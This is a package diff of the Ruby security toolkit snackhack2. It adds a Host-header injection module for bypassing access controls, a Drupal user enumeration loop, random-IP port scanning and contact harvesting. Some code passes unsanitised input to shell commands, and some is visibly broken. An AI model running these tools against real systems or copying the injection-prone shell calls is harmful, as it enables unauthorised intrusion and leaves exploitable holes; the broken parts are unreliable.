snackhack2 0.6.8 → 0.6.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/SSL.rb +14 -3
- data/lib/snackhack2/bannergrabber.rb +52 -11
- data/lib/snackhack2/comments.rb +4 -2
- data/lib/snackhack2/dns.rb +2 -1
- data/lib/snackhack2/drupal.rb +3 -0
- data/lib/snackhack2/emails.rb +3 -0
- data/lib/snackhack2/forward_remote.rb +1 -1
- data/lib/snackhack2/google_analytics.rb +18 -6
- data/lib/snackhack2/host_injection.rb +93 -0
- data/lib/snackhack2/iplookup.rb +28 -21
- data/lib/snackhack2/list_users.rb +2 -0
- data/lib/snackhack2/phone_number.rb +66 -25
- data/lib/snackhack2/portscan.rb +11 -1
- data/lib/snackhack2/robots.rb +33 -15
- data/lib/snackhack2/ruby_comments.rb +46 -0
- data/lib/snackhack2/screenshots.rb +7 -0
- data/lib/snackhack2/sitemap.rb +11 -3
- data/lib/snackhack2/sshbrute.rb +6 -0
- data/lib/snackhack2/ssrf.rb +50 -3
- data/lib/snackhack2/subdomains.rb +10 -7
- data/lib/snackhack2/subdomains2.rb +7 -1
- data/lib/snackhack2/tomcat.rb +22 -9
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +55 -0
- data/lib/snackhack2/website_links.rb +5 -1
- data/lib/snackhack2/website_meta.rb +5 -5
- data/lib/snackhack2/wordpress.rb +63 -13
- data/lib/snackhack2/wpForo_Forum.rb +1 -0
- metadata +4 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 23625b0c0b96d9310abb4adcfe327cbf41bfcd0b30a605b420fdaf39b56587c7
|
|
4
|
+
data.tar.gz: 748b136fb5ec56893c91d2a5e911a642d7f52aebc4b1dd4a3a4372644c107fc6
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 1c5d3a5223ea6b1522b0448d9b1e6e01aa3ef1eece72c81888b3b317792533ddeb3c9ebfe517b6069a096b9f21250ef3b93d00c914602a1d5018fd1d7d012f1b
|
|
7
|
+
data.tar.gz: 189d3057f610d1a52b51f7e4745082814ab637fb985cc53f93cef48aa654b12c5fc0775309b5c3625d709228c021e43e0918808a5585390b18d81d93f81cbd52
|
data/lib/snackhack2/SSL.rb
CHANGED
|
@@ -2,12 +2,14 @@ require 'net/http'
|
|
|
2
2
|
require 'openssl'
|
|
3
3
|
module Snackhack2
|
|
4
4
|
class SSLCert
|
|
5
|
-
attr_accessor :site
|
|
5
|
+
attr_accessor :site, :file_save
|
|
6
6
|
|
|
7
7
|
def initialize
|
|
8
8
|
@site = site
|
|
9
|
+
@file_save = false
|
|
9
10
|
end
|
|
10
|
-
def get_cert
|
|
11
|
+
def get_cert(print_status: false)
|
|
12
|
+
save_txt_file = ''
|
|
11
13
|
begin
|
|
12
14
|
if @site.downcase.include?("https://")
|
|
13
15
|
@site = @site.downcase.gsub("https://", "")
|
|
@@ -15,9 +17,18 @@ module Snackhack2
|
|
|
15
17
|
uri = URI::HTTPS.build(host: @site)
|
|
16
18
|
response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true)
|
|
17
19
|
cert = response.peer_cert
|
|
18
|
-
|
|
20
|
+
if @file_save
|
|
21
|
+
save_txt_file += cert.serial
|
|
22
|
+
else
|
|
23
|
+
if print_status
|
|
24
|
+
puts cert.serial
|
|
25
|
+
else
|
|
26
|
+
return cert.serial
|
|
27
|
+
end
|
|
28
|
+
end
|
|
19
29
|
rescue OpenSSL::SSL::SSLError,Net::OpenTimeout, Errno::EHOSTUNREACH
|
|
20
30
|
end
|
|
31
|
+
Snackhack2.file_save(@site, 'ssl', save_txt_file) if @file_save
|
|
21
32
|
end
|
|
22
33
|
end
|
|
23
34
|
end
|
|
@@ -13,23 +13,29 @@ module Snackhack2
|
|
|
13
13
|
def run
|
|
14
14
|
nginx
|
|
15
15
|
apache2
|
|
16
|
+
cloudflare
|
|
16
17
|
wordpress
|
|
17
|
-
|
|
18
|
+
cloudfront
|
|
18
19
|
end
|
|
19
20
|
def headers
|
|
20
21
|
@headers = Snackhack2.get(@site).headers
|
|
21
22
|
end
|
|
22
23
|
def nginx
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
24
|
+
if headers['server'].include?("nginx")
|
|
25
|
+
puts "[+] Server is running NGINX... Now checking if #{File.join(@site, 'nginx_status')} is valid..."
|
|
26
|
+
nginx = Snackhack2.get(File.join(@site, 'nginx_status'))
|
|
27
|
+
if nginx.code == 200
|
|
28
|
+
puts "Check #{@site}/nginx_status"
|
|
29
|
+
else
|
|
30
|
+
puts "Response code: #{nginx.code}... nginx_status not giving 200"
|
|
31
|
+
end
|
|
32
|
+
else
|
|
33
|
+
puts "[+] No nginx detected..."
|
|
29
34
|
end
|
|
30
35
|
end
|
|
31
36
|
|
|
32
37
|
def curl
|
|
38
|
+
# uses cURL to head a website header
|
|
33
39
|
servers = ''
|
|
34
40
|
# rus the curl command to get the headers of the given site.
|
|
35
41
|
cmd = `curl -s -I #{@site.gsub('https://', '')}`
|
|
@@ -55,16 +61,20 @@ module Snackhack2
|
|
|
55
61
|
else
|
|
56
62
|
puts "[+] Response Code: #{apache.code}...\n\n"
|
|
57
63
|
end
|
|
58
|
-
else
|
|
59
|
-
puts "Apache2 is not found...\n\n"
|
|
60
64
|
end
|
|
61
65
|
end
|
|
62
66
|
|
|
63
67
|
def wordpress
|
|
68
|
+
wp_status = false
|
|
69
|
+
wp_types = ["Yoast SEO plugin", "wp-content", "wp-json"]
|
|
64
70
|
wp = Snackhack2.get(@site).body
|
|
65
|
-
return unless wp.match(/wp-content/)
|
|
71
|
+
# return unless wp.match(/wp-content/)
|
|
72
|
+
wp_types.each do |wp|
|
|
73
|
+
p wp.match(/#{wp}/)
|
|
74
|
+
end
|
|
75
|
+
#puts "[+] Wordpress '/wp-content' found [+]\n\n\n" if wp.match(/wp-content/)
|
|
66
76
|
|
|
67
|
-
|
|
77
|
+
|
|
68
78
|
end
|
|
69
79
|
def types
|
|
70
80
|
{
|
|
@@ -116,6 +126,37 @@ module Snackhack2
|
|
|
116
126
|
end
|
|
117
127
|
end
|
|
118
128
|
end
|
|
129
|
+
def cloudfront(print_status: true)
|
|
130
|
+
# the purpose of this method is to
|
|
131
|
+
# check to see if a site has
|
|
132
|
+
# cloudflare in the headers
|
|
133
|
+
|
|
134
|
+
cf_status = false
|
|
135
|
+
cf_count = 0
|
|
136
|
+
|
|
137
|
+
# access the 'types' hash to get the cloudflare strings.
|
|
138
|
+
cf = types[:"aws CloudFront"]
|
|
139
|
+
|
|
140
|
+
# make a single get request to the site defined at '@site'
|
|
141
|
+
find_headers.each do |k,v|
|
|
142
|
+
# if the key is in the array cf
|
|
143
|
+
if cf.include?(k)
|
|
144
|
+
cf_status = true
|
|
145
|
+
cf_count += 1
|
|
146
|
+
end
|
|
147
|
+
end
|
|
148
|
+
unless print_status
|
|
149
|
+
# cf_status[0] : the status if cloudfront was found
|
|
150
|
+
# cf_count[1] : the number of found elements in the 'cloudfront' hash.
|
|
151
|
+
return [cf_status, cf_count]
|
|
152
|
+
else
|
|
153
|
+
if cf_status
|
|
154
|
+
puts "Cloudfront was found. The count is: #{cf_count}"
|
|
155
|
+
else
|
|
156
|
+
puts "Cloudfront was NOT found. The count is #{cf_count}"
|
|
157
|
+
end
|
|
158
|
+
end
|
|
159
|
+
end
|
|
119
160
|
def detect_header(return_status: true)
|
|
120
161
|
# stores the data found in
|
|
121
162
|
# the headers.
|
data/lib/snackhack2/comments.rb
CHANGED
|
@@ -12,13 +12,15 @@ module Snackhack2
|
|
|
12
12
|
c = Snackhack2.get(@site)
|
|
13
13
|
|
|
14
14
|
if c.code == 200
|
|
15
|
+
# turns the body of the text into an array
|
|
15
16
|
body = c.body.split("\n")
|
|
16
17
|
body.each_with_index do |l, i|
|
|
17
18
|
line = l.strip
|
|
19
|
+
# detects if html code is present
|
|
18
20
|
if line.start_with?('<!--')
|
|
19
|
-
puts body[i].next
|
|
21
|
+
puts body[i].next.strip
|
|
20
22
|
elsif line.include?('<!')
|
|
21
|
-
puts body[i].next
|
|
23
|
+
puts body[i].next.strip
|
|
22
24
|
end
|
|
23
25
|
end
|
|
24
26
|
else
|
data/lib/snackhack2/dns.rb
CHANGED
data/lib/snackhack2/drupal.rb
CHANGED
|
@@ -26,14 +26,17 @@ module Snackhack2
|
|
|
26
26
|
end
|
|
27
27
|
|
|
28
28
|
doc = Nokogiri::HTML(URI.open(@site))
|
|
29
|
+
# uses xpath to extra the data stored in the meta tags
|
|
29
30
|
posts = doc.xpath('//meta')
|
|
30
31
|
posts.each do |l|
|
|
32
|
+
# display the drupal version and other info
|
|
31
33
|
puts "\n\n[+] Drupal Version: #{l.attributes['content']}\n" if l.attributes['content'].to_s.include?('Drupal')
|
|
32
34
|
end
|
|
33
35
|
puts "\nDrupal Score: #{drupal_score}\n"
|
|
34
36
|
end
|
|
35
37
|
|
|
36
38
|
def user_brute
|
|
39
|
+
# enumerate the users by looping 0 to 1000
|
|
37
40
|
(1..1000).each do |user|
|
|
38
41
|
u = Snackhack2.get(File.join(@site, 'user', user.to_s)).body
|
|
39
42
|
if u.include?('Page not found')
|
data/lib/snackhack2/emails.rb
CHANGED
|
@@ -19,8 +19,11 @@ module Snackhack2
|
|
|
19
19
|
Spidr.start_at(@site, max_depth: @max_depth) do |agent|
|
|
20
20
|
agent.every_page do |page|
|
|
21
21
|
body = page.to_s
|
|
22
|
+
# uses a regex to look for email addresses
|
|
22
23
|
if body.scan(/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}/)
|
|
24
|
+
# again, uses regex to extract the email addresses and removes duplicates
|
|
23
25
|
email = body.scan(/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}/).uniq
|
|
26
|
+
# if emails not found already in the array, it will add the email to the array.
|
|
24
27
|
found_emails << email if !email.include?(found_emails) && !email.empty?
|
|
25
28
|
end
|
|
26
29
|
end
|
|
@@ -5,26 +5,38 @@ module Snackhack2
|
|
|
5
5
|
class GoogleAnalytics
|
|
6
6
|
attr_accessor :site
|
|
7
7
|
|
|
8
|
-
def initialize
|
|
8
|
+
def initialize(print_status: false)
|
|
9
9
|
@site = site
|
|
10
10
|
end
|
|
11
11
|
|
|
12
12
|
def run
|
|
13
|
+
# uses a handful of different regexs to extract the Google Analytics
|
|
14
|
+
# code from sites. This is used by the site admin to track and mesaure
|
|
15
|
+
# people who visit the site. This could be used to find more sites
|
|
16
|
+
# they own where they re-use the code.
|
|
17
|
+
gas = []
|
|
13
18
|
a = Snackhack2.get(@site).body
|
|
14
19
|
case a
|
|
15
20
|
when /UA-\d{8}-\d/
|
|
16
|
-
|
|
21
|
+
gas << a.match(/UA-\d{8}-\d/).to_s
|
|
17
22
|
when /GTM-[A-Z0-9]{7}/
|
|
18
|
-
|
|
23
|
+
gas << a.match(/GTM-[A-Z0-9]{7}/).to_s
|
|
19
24
|
when /G-([0-9]+([A-Za-z]+[0-9]+)+)/
|
|
20
|
-
|
|
25
|
+
gas << a.match(/G-([0-9]+([A-Za-z]+[0-9]+)+)/).to_s
|
|
21
26
|
when /G-[A-Za-z0-9]+/
|
|
22
|
-
|
|
27
|
+
gas << a.match(/G-[A-Za-z0-9]+/).to_s
|
|
23
28
|
when /GT-[A-Za-z0-9]+/
|
|
24
|
-
|
|
29
|
+
gas << a.match(/GT-[A-Za-z0-9]+/).to_s
|
|
25
30
|
else
|
|
26
31
|
puts '[+] No Google Analytics found :('
|
|
27
32
|
end
|
|
33
|
+
if @print_status
|
|
34
|
+
gas.each do |g|
|
|
35
|
+
puts g
|
|
36
|
+
end
|
|
37
|
+
else
|
|
38
|
+
return gas
|
|
39
|
+
end
|
|
28
40
|
end
|
|
29
41
|
end
|
|
30
42
|
end
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
# Process.spawn("ruby -run -ehttpd . -p8008")
|
|
4
|
+
# sleep 10
|
|
5
|
+
module Snackhack2
|
|
6
|
+
class HostInjection
|
|
7
|
+
attr_accessor :site, :new_host_ip, :old_host_ip
|
|
8
|
+
# old_host_ip: the IP of the host (public IP) that its supposed to be
|
|
9
|
+
# new_host_ip: the IP of the host to bypass access controls
|
|
10
|
+
def initialize
|
|
11
|
+
@site = site
|
|
12
|
+
end
|
|
13
|
+
def test_all
|
|
14
|
+
p @new_host_ip
|
|
15
|
+
p @old_host_ip
|
|
16
|
+
[ "Host", "\sHost", "\rHost", "X-Forwarded-Host", "\sX-Forwarded-Host",
|
|
17
|
+
"X-Host", "\sX-Host", "\rX-Host", "X-Remote-Addr", "\sX-Remote-Addr",
|
|
18
|
+
"\rX-Remote-Addr", "X-Remote-IP", "\sX-Remote-IP", "\rX-Remote-IP",
|
|
19
|
+
"X-Forwarded-Server", "\sX-Forwarded-Server", "\rX-Forwarded-Server",
|
|
20
|
+
"Forwarded", "\sForwarded", "\rForwarded", "\sX-HTTP-Host-Override",
|
|
21
|
+
"X-HTTP-Host-Override", "\rX-HTTP-Host-Override"].each do |h|
|
|
22
|
+
head = {"Host" => @old_host_ip}
|
|
23
|
+
head[h] = @new_host_ip
|
|
24
|
+
r = HTTParty.get(@site, headers: head)
|
|
25
|
+
puts r.code
|
|
26
|
+
puts "\n==========================\n"
|
|
27
|
+
end
|
|
28
|
+
end
|
|
29
|
+
|
|
30
|
+
def host_ip
|
|
31
|
+
unless @old_host_ip.nil?
|
|
32
|
+
response = HTTParty.get(@site, headers: { "Host" => @old_host_ip})
|
|
33
|
+
puts response.body
|
|
34
|
+
puts response.code
|
|
35
|
+
end
|
|
36
|
+
end
|
|
37
|
+
def double_host_ip
|
|
38
|
+
unless @old_host_ip.nil?
|
|
39
|
+
response = HTTParty.get(@site, headers: { "Host" => @old_host_ip, "Host" => @new_host_ip})
|
|
40
|
+
puts response.body
|
|
41
|
+
puts response.code
|
|
42
|
+
end
|
|
43
|
+
end
|
|
44
|
+
def x_forwarded
|
|
45
|
+
unless @old_host_ip.nil?
|
|
46
|
+
response = HTTParty.get(@site, headers: { "Host" => @old_host_ip, "X-Forwarded-Host" => @new_host_ip})
|
|
47
|
+
puts response.body
|
|
48
|
+
puts response.code
|
|
49
|
+
end
|
|
50
|
+
end
|
|
51
|
+
def double_x_forwarded
|
|
52
|
+
unless @old_host_ip.nil?
|
|
53
|
+
response = HTTParty.get(@site, headers: { "X-Forwarded-Host" => @old_host_ip, "X-Forwarded-Host" => @new_host_ip})
|
|
54
|
+
puts response.body
|
|
55
|
+
puts response.code
|
|
56
|
+
end
|
|
57
|
+
end
|
|
58
|
+
def x_forwarded_server
|
|
59
|
+
unless @old_host_ip.nil?
|
|
60
|
+
r = HTTParty.get(@site, headers: {"Host" => @old_host_ip, "X-Forwarded-Server" => @new_host_ip})
|
|
61
|
+
puts r.body
|
|
62
|
+
puts r.code
|
|
63
|
+
r = HTTParty.get(@site, headers: {"X-Forwarded-Server" => @old_host_ip, "X-Forwarded-Server" => @new_host_ip})
|
|
64
|
+
puts r.body
|
|
65
|
+
puts r.code
|
|
66
|
+
end
|
|
67
|
+
end
|
|
68
|
+
def http_host_override
|
|
69
|
+
unless @old_host_ip.nil?
|
|
70
|
+
r = HTTParty.get(@site, headers: {"Host" => @old_host_ip, "X-HTTP-Host-Override" => @new_host_ip})
|
|
71
|
+
puts r.body
|
|
72
|
+
puts r.code
|
|
73
|
+
r = HTTParty.get(@site, headers: {"X-HTTP-Host-Override" => @old_host_ip, "X-HTTP-Host-Override" => @new_host_ip}).body
|
|
74
|
+
end
|
|
75
|
+
end
|
|
76
|
+
def extra_return_host
|
|
77
|
+
unless @new_host_ip.nil?
|
|
78
|
+
response = HTTParty.get(@site, headers: {"\rHost" => "#{@new_host_ip}"}, "Host" => "#{old_host_ip}").body
|
|
79
|
+
puts response
|
|
80
|
+
end
|
|
81
|
+
end
|
|
82
|
+
def extra_space_host
|
|
83
|
+
unless @new_host_ip.nil?
|
|
84
|
+
response = HTTParty.get(@site, headers: {"\sHost" => "#{@new_host_ip}"}, "Host" => "#{old_host_ip}").body
|
|
85
|
+
puts response
|
|
86
|
+
end
|
|
87
|
+
end
|
|
88
|
+
end
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
|
data/lib/snackhack2/iplookup.rb
CHANGED
|
@@ -2,51 +2,58 @@
|
|
|
2
2
|
|
|
3
3
|
require 'socket'
|
|
4
4
|
require 'colorize'
|
|
5
|
+
|
|
5
6
|
module Snackhack2
|
|
6
7
|
class IpLookup
|
|
7
8
|
attr_accessor :site
|
|
8
9
|
|
|
9
10
|
def initialize(file_save: false)
|
|
10
11
|
@file_save = file_save
|
|
11
|
-
|
|
12
|
+
# Clean the URL immediately to avoid repeating .gsub everywhere
|
|
13
|
+
end
|
|
14
|
+
|
|
15
|
+
def site
|
|
16
|
+
@site = @site.gsub(%r{https?://}, '').split('/').first
|
|
12
17
|
end
|
|
13
18
|
|
|
14
19
|
def run
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
20
|
+
# Running all methods and displaying results
|
|
21
|
+
puts "Methods for: #{@site}".bold.blue
|
|
22
|
+
puts "Ping: #{get_ip.join(', ')}"
|
|
23
|
+
puts "NS: #{nslookup.is_a?(Array) ? nslookup.join(', ') : 'Saved to file'}"
|
|
24
|
+
puts "Socket: #{socket_lookup}"
|
|
18
25
|
end
|
|
19
26
|
|
|
20
27
|
def get_ip
|
|
28
|
+
# Uses ping command to get IP of the host
|
|
21
29
|
ips = []
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
30
|
+
output = `ping -c 2 #{@site}`
|
|
31
|
+
# Using scan to find all IP-like patterns
|
|
32
|
+
output.scan(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/).each do |match|
|
|
33
|
+
ip = match.first
|
|
34
|
+
ips << ip unless ips.include?(ip)
|
|
26
35
|
end
|
|
27
36
|
ips
|
|
28
37
|
end
|
|
29
38
|
|
|
30
39
|
def nslookup
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
if !ips.include?(new_ip) && !new_ip.nil?
|
|
36
|
-
|
|
37
|
-
ips << new_ip.split('Addresses: ')[1].to_s
|
|
38
|
-
end
|
|
39
|
-
end
|
|
40
|
+
# Uses the nslookup command to extract the IP
|
|
41
|
+
output = `nslookup #{@site}`
|
|
42
|
+
# Simplified extraction using regex for "Address: [IP]"
|
|
43
|
+
ips = output.scan(/Address: (\d{1,3}(?:\.\d{1,3}){3})/).flatten.uniq
|
|
40
44
|
|
|
41
45
|
if @file_save
|
|
42
|
-
Snackhack2.file_save
|
|
46
|
+
# Note: Ensure Snackhack2.file_save is defined in your main module
|
|
47
|
+
Snackhack2.file_save(@site, 'ip_lookup', ips.join("\n"))
|
|
43
48
|
else
|
|
44
49
|
ips
|
|
45
50
|
end
|
|
46
51
|
end
|
|
47
52
|
|
|
48
|
-
def
|
|
49
|
-
|
|
53
|
+
def socket_lookup
|
|
54
|
+
IPSocket.getaddress(@site)
|
|
55
|
+
rescue SocketError
|
|
56
|
+
"Could not resolve"
|
|
50
57
|
end
|
|
51
58
|
end
|
|
52
|
-
end
|
|
59
|
+
end
|
|
@@ -7,47 +7,88 @@ module Snackhack2
|
|
|
7
7
|
attr_accessor :save_file, :site
|
|
8
8
|
|
|
9
9
|
def initialize(save_file: true)
|
|
10
|
-
@site = site
|
|
10
|
+
@site = site
|
|
11
11
|
@save_file = save_file
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
attr_reader :save_file
|
|
15
15
|
|
|
16
16
|
def run
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
regex = http.body
|
|
21
|
-
phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
|
|
22
|
-
out = phone.map { |n| n[0] }.compact
|
|
23
|
-
numbers << out
|
|
17
|
+
found_numbers = []
|
|
18
|
+
unless @site.include?("https://")
|
|
19
|
+
@site = "https://#{@site}"
|
|
24
20
|
else
|
|
25
|
-
|
|
21
|
+
@site = site
|
|
26
22
|
end
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
23
|
+
http = Snackhack2.get(@site).body
|
|
24
|
+
case http
|
|
25
|
+
when (/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
|
|
26
|
+
ph_1 = http.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/).flatten
|
|
27
|
+
found_numbers << ph_1
|
|
28
|
+
when /^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/
|
|
29
|
+
ph_2 = http.scan(/^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/).flatten
|
|
30
|
+
found_numbers << ph_2
|
|
31
|
+
when (/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/)
|
|
32
|
+
ph_3 = http.scan(/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/).flatten
|
|
33
|
+
found_numbers << ph_3
|
|
34
|
+
when (/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/).flatten
|
|
35
|
+
ph_4 = http.scan((/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/))
|
|
36
|
+
found_numbers << ph_4
|
|
37
|
+
when (/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
|
|
38
|
+
ph_5 = http.scan(/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
|
|
39
|
+
found_numbers << ph_5
|
|
40
|
+
when (/^\+?[1-9][0-9]{7,14}$/)
|
|
41
|
+
ph_6 = http.scan(/^\+?[1-9][0-9]{7,14}$/)
|
|
42
|
+
found_numbers << ph_6
|
|
43
|
+
when (/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
|
|
44
|
+
ph_7 = http.scan(/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
|
|
45
|
+
found_numbers << ph_7
|
|
46
|
+
end
|
|
47
|
+
numbers = found_numbers.flatten.compact
|
|
48
|
+
if @save_file
|
|
49
|
+
Snackhack2.file_save(@site, 'phone_numbers', numbers.join("\n"))
|
|
50
|
+
else
|
|
51
|
+
return numbers
|
|
52
|
+
end
|
|
32
53
|
end
|
|
33
|
-
|
|
34
54
|
def spider
|
|
35
|
-
|
|
55
|
+
found_numbers = []
|
|
36
56
|
Spidr.start_at(@site, max_depth: 4) do |agent|
|
|
37
57
|
agent.every_page do |page|
|
|
38
58
|
body = page.to_s
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
59
|
+
# regex to extract phone numbers
|
|
60
|
+
case body
|
|
61
|
+
when (/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
|
|
62
|
+
ph_1 = http.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/).flatten
|
|
63
|
+
found_numbers << ph_1
|
|
64
|
+
when /^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/
|
|
65
|
+
ph_2 = http.scan(/^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/).flatten
|
|
66
|
+
found_numbers << ph_2
|
|
67
|
+
when (/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/)
|
|
68
|
+
ph_3 = http.scan(/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/).flatten
|
|
69
|
+
found_numbers << ph_3
|
|
70
|
+
when (/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/).flatten
|
|
71
|
+
ph_4 = http.scan((/^\+((?:9[679]|8[035789]|6[789]|5[90]|42|3[578]|2[1-689])|9[0-58]|8[1246]|6[0-6]|5[1-8]|4[013-9]|3[0-469]|2[70]|7|1)(?:\W*\d){0,13}\d$/))
|
|
72
|
+
found_numbers << ph_4
|
|
73
|
+
when (/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
|
|
74
|
+
ph_5 = http.scan(/^(\+0?1\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$/)
|
|
75
|
+
found_numbers << ph_5
|
|
76
|
+
when (/^\+?[1-9][0-9]{7,14}$/)
|
|
77
|
+
ph_6 = http.scan(/^\+?[1-9][0-9]{7,14}$/)
|
|
78
|
+
found_numbers << ph_6
|
|
79
|
+
when (/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
|
|
80
|
+
ph_7 = http.scan(/^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/)
|
|
81
|
+
found_numbers << ph_7
|
|
45
82
|
end
|
|
46
83
|
end
|
|
47
84
|
end
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
85
|
+
unless phone_numbers.empty?
|
|
86
|
+
if @save_file
|
|
87
|
+
Snackhack2.file_save(@site, 'phonenumbers', phone_numbers.join("\n"))
|
|
88
|
+
else
|
|
89
|
+
return phone_numbers
|
|
90
|
+
end
|
|
91
|
+
end
|
|
51
92
|
end
|
|
52
93
|
end
|
|
53
94
|
end
|
data/lib/snackhack2/portscan.rb
CHANGED
|
@@ -13,13 +13,17 @@ module Snackhack2
|
|
|
13
13
|
end
|
|
14
14
|
|
|
15
15
|
def run
|
|
16
|
+
# runs `tcp` with threads
|
|
16
17
|
threads = []
|
|
18
|
+
# creates all the ports between 1 and 1000
|
|
17
19
|
ports = [*1..1000]
|
|
18
20
|
ports.each { |i| threads << Thread.new { tcp(i) } }
|
|
19
21
|
threads.each(&:join)
|
|
20
22
|
end
|
|
21
23
|
|
|
22
24
|
def mass_scan
|
|
25
|
+
# uses the `generate_ips` to generate radom
|
|
26
|
+
# IPs. then performs the scan
|
|
23
27
|
generate_ips.each do |ips|
|
|
24
28
|
tcp = PortScan.new
|
|
25
29
|
tcp.ip = ips
|
|
@@ -28,6 +32,8 @@ module Snackhack2
|
|
|
28
32
|
end
|
|
29
33
|
|
|
30
34
|
def generate_ips
|
|
35
|
+
# generate a bunch of different Ips to an
|
|
36
|
+
# array named `ips`.
|
|
31
37
|
ips = []
|
|
32
38
|
@count.to_i.times do |_c|
|
|
33
39
|
ips << Array.new(4) { rand(256) }.join('.')
|
|
@@ -36,6 +42,10 @@ module Snackhack2
|
|
|
36
42
|
end
|
|
37
43
|
|
|
38
44
|
def ports_extractor(port)
|
|
45
|
+
# Looks through the files in the folder that
|
|
46
|
+
# match '_port_scan.txt' which extracts the
|
|
47
|
+
# ports
|
|
48
|
+
|
|
39
49
|
ip = []
|
|
40
50
|
files = Dir['*_port_scan.txt']
|
|
41
51
|
files.each do |f|
|
|
@@ -62,7 +72,7 @@ module Snackhack2
|
|
|
62
72
|
return if open_ports.empty?
|
|
63
73
|
|
|
64
74
|
return unless @display
|
|
65
|
-
|
|
75
|
+
# displays the open ports and IPs
|
|
66
76
|
open_ports.each do |port|
|
|
67
77
|
puts "#{ip} - #{port} is open\n"
|
|
68
78
|
end
|
data/lib/snackhack2/robots.rb
CHANGED
|
@@ -2,13 +2,16 @@
|
|
|
2
2
|
|
|
3
3
|
module Snackhack2
|
|
4
4
|
class Robots
|
|
5
|
-
|
|
5
|
+
attr_accessor :port, :site, :save_file, :http
|
|
6
|
+
def initialize(site: "", save_file: true)
|
|
6
7
|
@site = site
|
|
7
|
-
|
|
8
|
-
|
|
8
|
+
|
|
9
|
+
end
|
|
10
|
+
def site=(t)
|
|
11
|
+
@http = File.join(t, 'robots.txt')
|
|
9
12
|
end
|
|
10
13
|
|
|
11
|
-
attr_reader :save_file
|
|
14
|
+
# attr_reader :save_file
|
|
12
15
|
|
|
13
16
|
def run
|
|
14
17
|
save_txt_file = ''
|
|
@@ -28,16 +31,27 @@ module Snackhack2
|
|
|
28
31
|
end
|
|
29
32
|
